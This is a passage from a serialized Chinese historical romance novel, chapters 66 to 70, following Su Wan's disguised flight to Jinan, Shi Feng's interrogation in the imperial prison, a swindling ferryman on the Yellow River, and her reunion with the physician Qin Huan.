门外时枫听得震撼，不知从何时起，疯癫婆娘似乎已经找到属于她自己的前途归路，不再需要他的庇佑。
他苦心孤诣的契约，变成一纸空谈。
她会逃离他的束缚，渐行渐远，永远地离开他。
而他，将孤独终老。
想到这些，令时枫感到不寒而栗。
66. 意外
第三日，沉云晦暗苍龙阙。
一大早，晴雷便骑马赶赴位于城南的鬼市，寻访那位“活神仙”老道士。
有了上次的受骗经验，晴雷收敛了锋芒，以黑布遮面，露出一双明眸，外观上与鬼市的江湖隐者相比，并无二致。
鬼市人头攒动，魑魅魍魉横行。晴雷躲在暗处，悄悄打探老道行踪。
果不其然，在一处偏僻街角，老道揪着一名打扮朴素的小厮，捋起破烂一口钟衣袖，狮子大开口，非要对方预付一百两定银。
小厮汗如雨下，弓着腰跟老道讨价还价，据理力争，但以他的口才和素质，局势明显不占上风。
晴雷瞅着小厮眼熟，一时又想不起来是谁。他顿了一顿，上前一步，横眉冷怼：“他只是遵从主人命令的仆役，手头哪有银子，你这分明是在难为人！”
岂知老道并不买账，两手掐腰骂道：“关你屁事？要么定钱你来付。”
这老道素来贪得无厌，晴雷吃过他的亏，一时气不过，非要给牛鼻子一点教训尝尝。
他握住腰间的雁翎刀，噌的一声，刀刃滑出刀鞘，刀锋寒光曝射。
“先要问问我的刀，答不答应。”
雁翎刀乃锦衣卫专属佩刀，因形似雁翎而得名，乃当朝名刀。
老道果然见过世面，老眼瞥了一眼刀鞘，立刻怂了，揣着破烂衣袖，嘟囔道：“好嘛好嘛，算我倒霉，定钱免去，今日破例，走一遭赔钱买卖。”
晴雷哼的一声，“算你识相。”侧身飒爽收刀，抬脚准备走人。
“多谢公子帮忙解围。”
小厮感激地冲他笑了笑，笑容浅淡，宛如冬日暖阳，令晴雷心底莫名颤了一下。
他大咧咧地摆摆手，“对付这种奸诈，就不能给他好脸色。一定要出刀快狠准，专打他七寸，他自不敢招惹你。”
言毕，潇洒甩袖离去，留下小厮怅然若失。
目送背影渐渐消弥，文竹攥了攥拳，心里暗自慨叹：自己若有他一半的勇气，血海深仇也不至于沉积十年之久。
那边晴雷在老道面前耍足了威风，飘飘然好不得意，握着雁翎刀，趾高气扬地迈方步。
可他没走两步，忽然一拍脑壳，惊呼：糟糕！爷让他办的事情，完全抛诸脑后。
他又赶忙掉头返回追踪老道，越追越觉得蹊跷。两人一前一后，走走停停，东扰西绕，貌似躲避眼线跟踪。
直至一路行至城西巷口，他才恍然大悟：
原来那位小厮，竟是苏府的杂役，而那老道是被请来做假脸的！
晴雷骇然，当下急急返回东城时府，将所见所闻禀报给时枫。
波风水门，林云楼阁。
男人身子深深埋入书房太师椅，两腿慵懒交叠搭在案边，手里随意拨弄墨金双色同心结络子，脸色沉寂，毫无表情。
她果然是要逃离他。
晴雷见时枫杵着不动，急道：“不拦住苏姑娘吗？”
拦住她的人，拦不住她的心，又有何用？
不是这样的道理，晴雷劝道：“爷会后悔的！”
后悔？他早已悔得肠子都青了。当初怎么就偏偏着了疯婆娘的道了呢？
自家世子爷竟然无动于衷，晴雷几欲疯狂，叫道：“苏姑娘怎么想，属下不得而知。可属下清楚爷的心思，倘若爷就此放手，日后定会怪罪属下劝诫不力，到时候吃鞭子的，可是我啊。”
他端地什么心思？此刻他没有任何想法！
时枫啐了一口，“要你管我！她爱去哪里就去哪里，我管不着，也绝不可能反悔！”
话音未落，忽然门外守卫急报：“兵部尚书陆大人发来通城鸡毛信，命将军即刻西城门集合点卯。”
手里的络子，倏然坠落在地。
*
一个时辰后。
时枫目送苏绾离去，心内肝肠寸断。他恨自己执迷不悟，没有在第一时间阻止苏绾，虽然不见得拦住她的人，和心，但至少能免除灾祸的发生。
她一闺阁女子，哪里晓得朝堂的利害。区区一个陆展元，不过六品芝麻官，能碾压他的人物大有人在。
为何没人敢动他？
因为他爹是正二品兵部尚书啊！六部中的“大司马”，七卿之一，负责掌管全国卫所军官的选拔授予、训练、车辆、武器管理等政令。
莫说时枫小小卫所指挥使不济，就连他爹绥靖王时谦，都要礼让陆能三分。福建浙江都指挥使沈恪，也只能说和时谦联手，尚能扛得住陆能。单拉出来任何一方，尤是心有余而力不足兮。
此事恐怕无人能解。
然而他没得选择，苏绾是他的命，他怎可弃之不顾，临阵脱逃。
时枫咬咬牙，攥紧缰绳，快马加鞭返城。
踏月铆足了劲，马蹄逶迟荡漾，仅用半个时辰，狂奔六十里地，直抵西城门。
城门戒严，巡城兵马司派遣上百名金甲守卫，手举长矛，巡逻查探。各
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路人马齐聚一堂，兵部、刑部，其中竟还有上直卫的锦衣卫。
锦衣卫掌直驾侍卫、巡查缉捕，专理诏狱。可自行逮捕、侦讯、行刑、处决，所处理案件“三法司”无权干涉。
正三品锦衣卫指挥使李鹤鸣，时年二十六，身穿飞鱼服，腰挎绣春刀，骑一匹高头骏马，威风凛凛，吩咐手下查访附近民居。
时枫纵马经过，打着呵欠，假装问候：“怎么，李大人也被拉来执行公务啊。”
李鹤鸣同时枫打过几次交道：上个月端阳节，李鹤鸣奉旨查办鸿胪寺徐引贡银贪墨一案，在诏狱曾与时枫对过徐引的口供。
彼时李鹤鸣一眼看出徐引的小妾有问题，并直接给徐引上了大刑，急得礼部尚书徐遮跺脚哭晕过去。
此人极其难缠。
李鹤鸣瞟了一眼对方，嘴角撇了撇道：“陆能发布了通缉令，全城方圆三百里，一只蚂蚁也不准放过，李某就是想躲也躲不成啊。试问京城之内起的一桩民杀官之祸乱，干我皇宫上直卫锦衣卫何事？陆能的蠢儿子被人剃成骟驴，还得要咱们来背黑锅，真是够了。”
抬眼上下逡巡一遍时枫，乌黑的眼眸闪着精光，问道：“李某打见到时将军才从城外返回，可是去往京营？沿途有何发现？”
时枫握着缰绳，漫不经心道：“昨日福建都指挥使沈恪沈老将军启程返乡，我自去京营做些准备，添些补给送他一程。今日恰巧刚返回，就听到了这样一桩大事。”
他转了转眼珠，反过来试探道：“李大人可有查到任何线索？”
李鹤鸣摇摇头，“罪犯极其狡猾，手段阴狠，不像是初犯，现场未留一点痕迹。据守卫士兵所报，乃一车四人，三女一男，年龄均在四十岁以上。发现时已晚，此刻贼人恐怕早已出城溜之大吉。”
时枫眉毛一斜，“那还不赶快出城追捕，所有人马在此逗留做甚？”
李鹤鸣叹道：“你当他陆能不想抓人吗？实在是圣上突然下了一道手谕，紧急召陆能入宫，不晓得出了什么天大事情。我们这群人，就被生生撂在这里。手中无驾帖，谁去给他追凶呢？”
“哦？”时枫好奇道：“能有什么事情，逼得陆能竟然连亲儿子都不管不顾了？”
李鹤鸣凑近身子，沉声道：“听说，是皇后娘娘那边出了意外。后宫内部封锁消息，圣上将内阁五位大学士，以及兵部尚书陆能、礼部尚书徐遮、户部尚书梁才，全部都召回宫了。”
（未完待续）
67. 士族
又过了一日，天空始见晴朗。
时枫自醉仙楼归来，一夜畅饮酣谈，喝得酩酊大醉，身子摇摇晃晃。踏月驮着他，一路酒气熏天，惹畜生不满地鼻子呼气。
李鹤鸣亦是喝了不少，弓着腰拖着长腔道：“贤弟啊贤弟，你别以为自己隐藏得很深。你的那点鬼蜮伎俩，我李鹤鸣一眼就把你看穿透。”
时枫不满道：“哥哥这话说的，忒不中听！咱们拜了把子，从此结为异姓兄弟，不求同年同月同日生，但求同年同月同日死。都生死之交了，小弟还有何可隐瞒的？”
李鹤鸣嘿嘿笑道：“你当我不知道？整个京城都传开了，都说绥靖王世子爷，拐跑了温侍郎的未婚妻！你小子还搞什么山寨剿匪，呸！我信你才怪。黑风寨自打被人收编以后，再没做掳掠抢劫之事，你没事剿它干嘛？”
醉言醉语令时枫心内陡然一震，不为自己东窗事发，而是在于收编黑风寨的“毒蛇堂”，乃跑江湖的漕帮，大内密探锦衣卫又怎会知晓？
他强压醉意，故意喊冤叫屈：“他温侍郎乃朝廷新贵，我吃了豹子胆，哪里敢抢他的妻？哥哥忒冤杀小弟也。”
补充道：“哥哥处在大内深宫，怎知宫外面血雨腥风。那黑风寨惯来打家劫舍，杀人放火，小弟这是为民除害。”
李鹤鸣啐了一口，“你真是撒谎都不脸红啊，杀人放火的另有其人。为兄跟你透漏一桩秘密：其实吧，这批人都是朝廷放出去的傀儡，里面还有我的人呢，目的在于控制民间反动力量。再说了，你哪只眼睛看见他们杀人放火？那都是为了吞并各地帮派。”
“都是权谋。哦～”李鹤鸣咂么咂么牙，打出一个响嗝。
每个字皆让时枫感到震撼，瞬间酒醒了大半，他抹了把脸，囫囵道：“又没经过三书六礼、八抬大轿迎娶进门，她嫁给谁还未定。怎么就是我抢她呢？为何不是她主动上门求我庇护呢？”
“呸呸呸，刚才是谁说，‘他温侍郎乃朝廷新贵，我吃了豹子胆也不敢’，这会子又说人家姑娘上赶着求你娶她。啧啧。”
“你小子还真不要脸！”
李鹤鸣醉眼朦胧，唠唠叨叨，在路口处同时枫分别。
剩下时枫一人独醒。
他伏在马背，任由踏月踢踏，腰间墨金络子摇晃，心里愁肠已断无由醉。
她在路上可好？
*
马车经过彻夜狂奔，一路疾驰，终于离开京城地界，进入河间府一带。
带的油饼还剩一半，四人分吃了一点。苏绾身子骨单薄，哪里经得起舟车劳顿。再加上风寒作祟，食物在胃里打了个转，又原路返回，喷涌而出。
无霜轻拍苏绾后背，疼惜道：“不若小姐先在驿站歇息两天，养好身体再出发。这样子折腾下去，好人也被治死了。”
苏绾咳嗽不断，趴在窗口喘息：“不能停。追兵随时将至，沿途还有暗探，咱们能跑多远就跑多远。”
文竹自知惹祸上身，低头道歉：“都是小的有错，是我发昏犯浑，连累了二小姐。”
苏绾无力地摆摆手，“不关你的事，就算你没有那么做，他们照样派兵追捕我。咱们出了顺天府，情况就会好些
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。”
无霜好奇道：“咱们要去的济南府，到底有多远？小姐说的故人，又是什么人物，是男是女？”
苏绾道：“其实，不能算作故人，因为我此生还未曾见过他。”
她掀眸望向远方，“他是位悬壶济世的神医，以青囊岐黄之术，拯救万世苍生。”
“说起来，也算是我的远亲。他的父亲与殷潜舅舅是连襟，他的姑母是当今的熹贵妃。”
“他姓秦，单名一个欢字。”
脑海里浮现出上一世的记忆：
“鄙人姓秦，单名一个欢字，欢喜的欢。”
“可我看你常常一副忧虑样子，并不欢喜啊。”
“愿尔闻我语，欢喜入心肠。”
“好酸的大夫。”
山东士族，包括太原王氏、清河崔氏、博陵崔氏、范阳秦氏、陇西李氏、赵郡李氏、荥阳郑氏。此七族合称七姓十家，传承千年，社会地位显赫。
另有其他各部士族大家，总体来说，山东士族重视姻亲关系，江左士族重视个人风格，关中士族重视功成名就，代北士族重视帝王亲族。
然而随着时代变迁，名族贵胄为官者骤减，寒族为官则剧增，各郡望世家大族几尽消亡。仅有秦氏一支，还在苟延残喘。
秦氏世代行医，早年熹贵妃凭借医女身份，得皇帝宠幸，生下一子二女。其中皇子五年前被立为皇储，今年十六岁，已长大成人，可独当一面。
秦欢是熹贵妃兄长的独子，时年二十四，博览群书，乃家中厚望所寄。
（未完待续）
68. 诏狱
皇宫，诏狱。
诏狱乃锦衣卫自属监狱，由镇抚司署理，可直接拷掠刑讯，取旨行事。刑部、大理寺、都察院等三法司均无权过问。诏狱所监之人，多为“九卿”、郡守等级的高官，须由皇帝亲自下诏书定罪。简而言之，诏狱是由皇帝一手扶持、拘禁审理犯人的地方。
时枫并非第一次进诏狱。
儿时他跟随父兄，曾进过一次诏狱。那时候，诏狱还未兴盛，为先帝创业后首次创建。狱中水火不入，疫疠之气充斥囹圄。他模糊的记忆，只剩下一些片段。
犹记得穿过昏暗长廊，来到一间砖砌屋子。室内差不多的糟糕，苔藓附着潮湿墙面，光线映衬下隐隐发黑。房间正中摆放铁制大案，后面一堆不知名的刑具。诏狱采用了半地下结构，且墙壁极为坚固，牢不可破。内部管理森严，就算只送个东西，都需要多道程序，想要从中越狱，无疑痴人说梦。
他抚摸着那些冰冷的刑具，上面已经发黑发霉，闻之一股刺鼻的血腥味。
兄长告诉他，所谓“全刑”分五大类，即械、镣、棍、拶、夹棍。人称全刑为“五毒俱全”，犯人受刑之时呼叫声沸然，血肉溃烂，宛转求死不得。
唬得他连忙丢掉手里的刑具，面色惨白，双手攥拳，瑟瑟发抖。
一入诏狱，九死一生。
如今看来，也不算他太胆小。
光是整夜闻听隔壁传来的惨叫声，已然让他心力交瘁。
他并非畏惧自己身体遭受刑罚，他那一身铜筋铁骨就算皮开肉绽，他也不会皱一下眉。
一切皆因那隔壁被审讯的犯人，就是看守西门的城门郎。
城门郎被人从巡城兵马司的监牢提出来，转入诏狱，在他的眼皮子底下接受刑罚。
目的就是为攻心。
要让他精神防线彻底坍塌，从而主动交代罪行。
他忍受不了，别人因他受折磨。
他咬牙硬挺了一夜，直到黎明拂晓，隔壁渐渐没了动静。
兵卫抬进一卷破草席
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，散发一股血腥味，重重丢掷时枫面前。草席自动摊开，露出恐怖内容。
一条半裸死尸，浑身衣物扯烂成碎布条，周身划满血痕，分不清哪处是皮肉，哪处是衣襟。四肢夹杂浓重炙烤焦糊味，令人更加疑惑，此物是人是豚。唯有那张没有血色的面孔，依稀可辨生前容颜。
那双怒目而睁的眼，死也不肯闭合，正紧紧盯住时枫，仿佛粘滞一般，牢牢抓住心脉。
李鹤鸣负手立在面前，嘴角斜了斜，“贤弟，莫怪为兄不讲情分。你若肯交代戕害陆展元的嫌犯来龙去脉，城门郎也不至于命丧黄泉。何必这么嘴硬较真呢，自讨苦吃不是？”
时枫双手束缚高举头顶，他冷笑一声，“陆能哪只眼睛看见是我阉了陆展元？他怎么不想想，自己儿子是个什么德行？上至八十老妇，下至五岁幼童，街边妇孺见了他，都要窝着腰夹着腿走路，生怕被他看上。想找陆展元报仇的人，多如牛毛，陆能该去站街，挨家挨户查找才对。”
（未完待续）
69. 摆渡
时光牵利舸，一眨眼，又过了十日。
历经连日不断的长途跋涉，苏绾一行人终于踏入了山东的疆域。
“启禀二小姐，前方便是黄河之渡——泺口，对岸便是济南府的地界。因渡河的费用颇为昂贵，我们的马车不宜继续使用，依小的来看，不如将马车卖给商埠，更为合算。”文竹方才探路归来，便将所见所闻一一禀报。
他面上的伪装，经过十日的风吹日晒，已开始剥落，乍一看去，仿佛是画皮被撕裂的女鬼，长相颇为惊悚。那些被他问路的行人，没把魂吓飞，实为难得。
苏绾微微颔首，道：“价钱不必过于计较，只要合适便可，毕竟我们急于赶路。”
这一路，幸得百户长的护送，后半程的行程颇为顺畅，再无贼寇之扰。
苏绾亦曾想过，是否该停下脚步，向百户长问候几句。但转念一想，何必自寻烦恼？既然已成功逃脱，便不应再回头。
她抬头远眺，见山没清波，帆挂浮云，前途充满了未知与冒险。心中的不安与忐忑，始终难以平息。
春蝉与文竹乔装成父女，驾着马车沿着河岸四处打听商埠的位置。留下苏绾与无霜，路边负责看管行李。
渡口之处，人潮涌动，商铺与摊贩林立，呈现出一派热闹非凡的景象。
济南，坐落于齐鲁之地，自古以来便是华夏诸侯争夺中原、问鼎天下的要冲。
泺口，因盐运而兴盛，因黄河而繁荣。作为东盐西运、南粮北调的关键节点，泺口渡口对于国家而言，战略地位至关重要。
苏绾与无霜自幼生长于京城之中，从未踏出过京城的边界。如今突然置身于一片陌生的土地，所见所闻皆令她们感到新奇。
苏绾尚能保持镇定，而无霜却难以抑制内心的好奇，用那双老眼四处张望。
街对面有一家渔获店，店前摆放着一排木盆，盆中盛着黄河之水，养着小鱼、小虾以及泥螺等物。
无霜蹲在木盆前，忍不住伸出干枯如枝的手，轻触泥螺的外壳。
然而，就在这时，“啪”的一声，卖家用捞网击中了她的手背，“不买勿动。”卖家语气凶狠：“这么大年纪，连点规矩都不懂。”
无霜尴尬地站起身，嘟囔着嘴，转身离去。
突然，一队车马疾驰而过，车轮不偏不倚地撞上了无霜，将她撞飞数丈之远。
马车只是稍微摇晃了一下，却没有停下步伐，继续向前疾驰。
苏绾站在街对岸，目睹了这一幕，心中惊恐万分，仿佛全身的血液都凝固了。倘若无霜有个三长两短，她自己亦无心独存于世。
她急忙奔上前去，双臂展开，拦住了那辆疾驰的肇事车马，厉声喝道：“休想逃走！”
车夫被这突如其来的人影惊到，急忙拉紧缰绳，马车队伍猛然停下，后面的人发出不满的抱怨声。
苏绾上前紧握缰绳，怒视车夫，大声斥责：“撞了人还想逃逸，天理何在？！”
突然，马车的窗帘被掀开，露出一张娇艳的面容。那女子轻启朱唇，语气中满是不屑：“瞎眼的老婆子，竟敢挡本小姐的路。小心我让人砍了你的手脚喂江中的鱼！”
苏绾抬眼望去，几乎惊呼出声。
那位出言不逊的官家小姐，竟是福建都指挥使沈恪的掌上明珠，沈枝意。
苏绾紧握双拳，愤怒地质问：“姑娘此言差矣，分明是你的马车撞伤了我的人，怎还敢反咬一口？难道你的家教中没有礼义廉耻吗？”
沈枝意冷哼一声，满脸轻蔑：“你这老泥鳅，真是多嘴多舌。今日我就是要欺负你，你又能奈我何？”
说完，她便命令随从上前驱赶苏绾。
“且慢。”车厢内传来一个老者的声音，想必是沈恪本人。
沈恪缓缓说道：“卿卿，不可胡来。在这大庭广众之下欺负老弱妇孺，会激起民愤，对你的名声极为不利。”
沈枝意翻了个白眼，不以为然：“区区两个老妇，还能败坏我的名声？再说，我怕她们的诋毁做什么？”
沈恪提醒道：“若此事传到枫小子耳中，他必定会生气，你俩的婚约恐怕难以为继。”
这话触及了沈枝意的痛处，她立刻怒气冲冲地反驳：“枫哥哥是被苏绾那个贱人迷了心窍，才会狠心解除婚约。不是卿卿的错！”
她越说越气，小嘴撅起，眼泪在眼眶中打转，仿佛自己才是受了委屈的那一方。
苏绾在一旁听得目瞪口呆：那个狂妄自大的家伙，竟然单方面撕毁了与沈枝意的婚约！
怪不得沈氏父女如此急匆匆地赶路，想必是与时枫翻脸后，不愿再寄人篱下，客居他府。
沈恪安慰道：“好好好，不是卿卿的错。是爹爹错怪你了。”随即命令随从：“拿二十两银子给这位老妇人请大夫。”
他隔着窗帘，向苏绾诚恳地道歉：“老人家莫要生气，小孩子不懂事，还请您多多包涵。”
苏绾见对方已经示弱，便也不再追究，语气稍缓：“也罢，看在你父仁义的份上，老身不与你计较。但姑娘今后必须吃得教训，你的未婚夫才肯娶你，否则一辈子出不了阁。”
说完，苏绾转身，决然离去。
沈枝意在背后气得大骂：“你这老不死的，还敢咒我！我要你吃不了兜着走。”
沈恪急忙命令车夫驾车，迅速离开是非之地。
苏绾急匆匆地回到无霜身边，仔细检查她的伤口。
幸运的是，只是些皮外伤，身体并无大碍。
无霜咬着嘴唇，自责道：“都是我不好，不该去摸那些鱼。”
苏绾目送车队向官渡口驶去，心中盘算着如何避开对方的视线，以免引起不必要的麻烦。
过了一会儿，文竹和春蝉从商埠返回，他们不仅卖掉马车赚了一大笔，还带来一个好消息：对方愿意免费出动私家舢板船，帮助他们四人渡河。
无霜高兴地捶了文竹一拳，“你总算有点用处。”
不料这一拳正好碰到了之前被撞的伤口，疼得无霜的老脸皱得更紧，让文竹感到莫名其妙。
四人收拾心情，跟随文竹，来到主动提供渡船的商家。
对方四十岁年纪，两撇山羊胡，一见苏绾等人，眉眼眯成一条缝。
“咱们不走官渡，亦不走民渡。我知道一条河拐角的近路，不出半个时辰，准保安全渡过。”
苏绾听说可以抄近路，不必再同沈氏父女撞面，当即应承下来。四人乘坐一叶舢板小船，于黄河渡口狭窄处缓缓启航。
刚坐上
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小船，无霜即惊叫：“哎哟，头好晕。”
其余三人皆懂驭马之术，是以不似无霜那般惊恐。
河水湍急，波涛汹涌，犹如万马奔腾，气势磅礴。古诗云：九曲黄河万里沙，浪淘风簸自天涯。
舢板在宽阔河面上颠簸前行，河水在阳光下泛着金色光芒，波光粼粼。两岸山峦若隐若现，宛若守护大河的两条巨龙，逶迤而行。河水拍打船舷，发出轰隆声响，犹如战鼓在耳边敲响，令人心生敬畏。
很快，舢板深入河心，河水愈急，波涛愈汹涌。前方忽现一巨大漩涡，如潜伏水下的巨兽，伺机吞噬万物。漩涡周围水流急速旋转，形成巨大空洞，舢板似被无形之力牵引，迅速向漩涡靠近。
船上四人面色凝重，紧张握船舷，一旦卷入漩涡，后果不堪设想。
千钧一发之际，山羊胡用力一划，舢板水面划出优美弧线，巧妙避漩涡吸力。
山羊胡额头细密汗珠渗出，眼神坚定，动作稳健。他不断调整船向，与漩涡吸力顽强对抗。舢板在其操控下，惊涛骇浪中穿梭，虽惊险，未失控。
一波未平，一波又起。
正当舢板即将脱离漩涡之时，天边莫名卷起一阵狂风，顷刻间乌云密布，雷声轰鸣。风助浪势，浪借风威，河水更加汹涌，舢板如秋千般摇摆。
狂风卷起巨浪，一波接一波地拍打着舢板，山羊胡紧握船桨，奋力划水，试图稳住船身。然而，风浪太过猛烈，舢板几次险些翻覆。
船上四人脸色苍白，心中惊恐万分，却只能紧紧抓住船舷，祈求上苍保佑。
在这生死攸关之际，山羊胡决定冒险一搏。他调整船头，迎着风浪，利用风势加速前行。舢板在风浪中左冲右突，如同一片树叶在怒海中挣扎。
突然，一道巨浪如山岳般压顶而来，山羊胡大喝一声，用尽全力将船桨深深插入水中，以惊人的力量将舢板推向一旁。巨浪擦着扁舟而过，船身剧烈摇晃，但终究稳住了。
风浪稍歇，山羊胡趁机调整航向，寻找风浪较小的水域。他凭借对黄河水文的深刻理解，找到了一条相对平静的水道。舢板在山羊胡的引领下，缓缓驶离了风暴中心。
经过一番惊心动魄的搏斗，舢板终于驶入了平静的水域，并缓缓靠岸下关道口。
泺口南岸为官渡码头，曰上关道口，并形成一条街叫上关街。其下游不远处还有一个民渡码头，曰下关道口，有一小街叫下关街，主要停靠一些民用小船。
四人长舒一口气。
无霜吓得说不出话来，她紧紧抓着船舷，任凭山羊胡如何呼喊，她也不肯松手。
苏绾亦心有余悸，她揉搓额头，嗔道：“早知如此，就不走这条近路了。”
谁知山羊胡开口道：“你们既然过了河，现在该算一算账了。”
苏绾白眉一紧，“算什么账？不是说好了免费送我们渡河吗？”
山羊胡嘴一撇，“天上哪能掉馅饼？方才若不是我，你们早就淹死了。”
苏绾大怒，“若不是你，我们也不会遇险。分明是你故意引领走歧路。”
几人争辩不休。
忽然自附近走近一个身影，背着一方医箱，温声笑道：“又被我撞见你了！”
（未完待续）
70. 诊脉
苏绾的瞳孔，骤然一缩。
眼前翩翩君子，身材颀长，玉树临风。身着青灰色长袍，随风轻摆，若流云之轻抚碧波，透出一股不沾尘埃的清逸之气。衣摆之上，以银白丝线绣成几枝翠竹，简约而不失雅致。
他比之上一世初见之时，显得更为年轻，眉宇间多了几分温润之色，少了些许忧郁之态。嘴角微微上扬，挂着一抹温和的笑容。
那笑容深深烙印在苏绾的记忆，纵是岁月流转，风霜侵蚀，也未曾有丝毫的消磨。
时隔两世，别来无恙。
秦欢双手垂立，语气淡然：“颜兄，别来无恙。自上次一别，已过月余。我开给你的驱寒祛湿方子，你可有好好按时煎服？”
山羊胡初时斜睨一眼，待看清来者，原先咄咄逼人的气势瞬间矮了半截，眼神四处游移，语气中带着不满：“我当是何人搅我好事，原来是秦大夫。你那要命的方子，药材着实难寻，煎煮忒为麻烦。我若有那个闲工夫，不知已赚得几笔横财了。”
秦欢叹道：“分明是救命之方，怎会要命？你有空去行骗，却无暇调养身体。若我仅治你身，不救你心，岂不成了助纣为虐之人？说吧，今日又是计划筹谋怎样一桩冤案。”
山羊胡被他一通严厉指责，立刻如同做错事的孩童，脸皮微热，低头嘟囔：“我何曾欺骗他们？辛苦助他们渡河，收取些许银两作为救命之资，乃是理所当然之事，难道还冤枉了他们不成？”
苏绾插言道：“可不是几两银子，方才你狮子大开口，索价高达五十两！我们的马车亦不过卖与你四十两银子，算来算去，我们反倒赔了十两银钱。”
人证物证俱在，令山羊胡哑口无言。原来他打从一开始，就盯上了文竹他们，故意高价收买马车，再以免费渡河诱惑之，企图敲诈巨额银两。
秦欢正色道：“我还不了解你？整日蹲守于黄河之畔，借商埠之便，专门敲诈那些初来乍到的外乡人。今日既然被我撞见，那么银两我来付，而你不得再为难他们。”
他从医箱中取出钱袋，数出几两碎银，递与山羊胡手中。
山羊胡嘿嘿一笑，见好就收，将银子纳入怀中，对苏绾讪笑道：“你们若下次再需摆渡，记得还来找我，我必给你们优惠。”
说完，转身消失于下关街，连他的破舢板也不要了。
苏绾见状，急道：“就这样放他走了，若他日后再去祸害别人，该如何是好？”
秦欢微笑道：“颜兄并非大奸大恶之人，只是有些贪财之心罢了。他水性极佳，对渡口漕运颇有建树，也曾帮助过许多贫苦百姓渡过险关。”
“或许他见你们衣着华贵，车马齐备，似京城殷实人家，故而起了贪念。看在我的薄面上，姑娘大人有大量，饶过他这一回吧。”
人已被他放走，她饶恕与否，又有何干？
苏绾撇嘴道：“有钱也不是罪过啊，况且我们并非豪门大户……等等！”
脑中电光火石闪过，令苏绾顿时冷汗涔涔，全身如坠冰窖，她慌慌张张地问道：“你、你方才叫我什么？”
秦欢含笑道：“在下不才，恰巧是个大夫，能观人于微，亦不足为奇。姑娘正值妙龄，脸颊敷贴伪装，声带训练有素，故意化装成老妪模样。敢问姑娘有何难言之隐，非得易容改声不成？”
此刻苏绾惊若木鸡，心中飞速盘算，该如何罗织谎言，才能蒙混过关。可她做梦也未料到，会被人一眼看穿假面目。
秦欢见她默然不语，也不再追问，俯身施礼道：“鄙人姓秦，单名一个欢字，欢喜的欢。敢问姑娘尊姓大名？”
熟悉的话语，从熟悉的人口中吐出，让苏绾恍若隔世。眼前的秦欢，亦幻化为前世之影，身着青白麻布长袍，面带那抹熟悉的温和笑意，“愿卿闻我名，欢喜入心肠。”
一旁的无霜惊呼出声：“秦欢？你是秦欢？”
她紧握苏绾的手臂，手指颤抖地指向秦欢，脸上满是难以置信之色，“小姐，他竟是秦欢！”
苏绾心中波涛汹涌，恨不得时光倒流，重头来过，又懊恼自己竟以如此落魄之态面对他——至少让她换上衣裙，再卸下这层老皮啊！
秦欢一怔，“难道我们认识？”
何止认识，他是她生命中一笔不可磨灭的浓墨重彩。失去他，她如同失去了灵魂。能在这一世再次相逢，苏绾从未如此感激过上天，给予自己重生的机会。
风烟草树，尽是欣欣向荣之景。
秦欢的医馆，座落在下关街一个幽静不起眼的角落。
推开那扇岁月留痕的木门，一股淡淡的药香扑鼻而来。青石铺就的地面，古木雕成的梁柱，简朴中透露出一份雅致。四壁悬挂着几幅墨迹斑驳的草药图谱，古意盎然。古木长案横陈正堂，案上摆放银针与玉板，显得庄重而神秘。
药柜之侧，身着青衫的童子，低眉垂目，神情专注，手中轻捻着草药。角落里的铜炉冒着袅袅青烟，炉火映照童子侧脸，汗水悄然流淌。
童子见秦欢归来，急忙站起身，用袖口擦拭额间汗水，恭敬道：“先生回来了？您命我整理的草药，弟子已经收拾妥当，还请先生过目。”
秦欢微微颔首，吩咐道：“这几位是我的朋友，你先带他们去后院洗漱更衣，再安排他们在厢房住下休息。”
童子领命，随即退下。
不多时，苏绾等人皆焕然一新。脱去了连日来的尘土衣裳，洗去了脸颊上的铅华，众人皆感到一身轻松。
两位小丫头初来乍到，对一切都感到新奇，拉着童子问东问西。文竹素来沉稳，忙着在院子里清点行李。所幸携带的物品并不多，很快便收拾得井井有条，令童子惊叹不已，暗自思忖若自己有文竹这般能耐，也能省去先生不少责骂。
苏绾端坐于馆内会客室，面前一扇轻纱如烟，朦胧间遮掩了她的容颜。此刻她的心，如小鹿乱撞，扑通扑通跳个不停。
来时的路上，她已将苏家遭遇变故轻描淡写地交代了一番，借口说自己孤身外出散心，恰巧听闻苏家有一门远亲在济南府，便顺道前来探望一下，不日即将再次启程。
秦欢听后，未置一词，亦未对她的话生出
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半分疑窦，只是笑了笑，便带她回到了医馆。
他坐在轻纱的另一端，声音中带着温柔：“我这医馆平日里清静，少有人来，你们可暂且住下。若有何所需，尽管与我说。”
两人论了一番亲戚的辈分，却发现难以理清彼此的亲缘关系，最终只得随意以表哥表妹相称。
上一世，即便两人已至情投意合的地步，秦欢却始终不肯改口，一直称呼她为“温夫人”，这让苏绾极为不悦。
如今他改唤她为表妹，苏绾听了，心里陡然生出一丝涩涩的欢喜。
秦欢似乎有些腼腆，坐了半日也未能找到合适的话题。苏绾心中明白，他大概是想问清楚她独自南下的缘由，但她自己也无法给出一个合理的解释——她所要逃脱的，不仅仅是婚约而已。
哪知秦欢沉寂一阵，忽然开口说道：“我观你面带愁容，眉间似有千千结。表妹若不嫌弃，请容我为你把脉诊治。”
苏绾听闻此言，心头一紧，略作沉吟，缓缓伸出玉腕，眉宇间难掩紧张之色，唯恐秦欢透过脉象察觉出她重生的秘密。
幸好隔着一帘轻纱，不至被人看穿她的忐忑。
秦欢轻轻搭指于素腕脉搏，闭目凝神，细心体察脉象，神色逐渐肃穆，呼吸愈加沉重。
“脉象细弱而数，稍显不匀，此乃心气不足，肝气郁结之象。心脉细弱，说明心神受损，心气不充；脉数不匀，则暗示肝气不畅，情绪郁结。”
苏绾不解道：“脉象为何如此？”
秦欢道：“你所受之苦，乃是情志内伤所致，此症与心、肝、肾三脏功能失调息息相关。心藏神，肝主疏泄，肾藏精，若情志受损，心神不宁，肝气郁结，肾精受损，脉象便会如此杂乱。”
苏绾问道：“那我可还有救？”
秦欢道：“此乃“郁证”，不难治愈。我为你开具一剂药方，以补心气、养血安神为主，同时疏肝解郁，温补肾阳。此外，针灸也是治疗此症的有效手段。”
苏绾一听又要给她扎针，慌得素手紧摇，“不要，不要针灸，我、我怕。”
秦欢笑道：“针灸之感，因人而异，多数人只会感到轻微的刺痛，随后便是舒缓之感，表妹不必担忧。”
苏绾为难道：“我的体内，已经有、有七根银针，不想要再多了。”
秦欢闻言一怔，“谁说的？我观你的经脉尚且顺畅，并无异物堵塞。哪里会有银针呢？”
昔日老道话语，历历在目：“你不就是京卫指挥使的小妾？贫道从你身子骨里挑出七根银针，你忘了吗？你的夫君为了救你，可是遭了剖心刮骨之苦，你竟翻脸不认人。”
难道老道所言，句句为实？
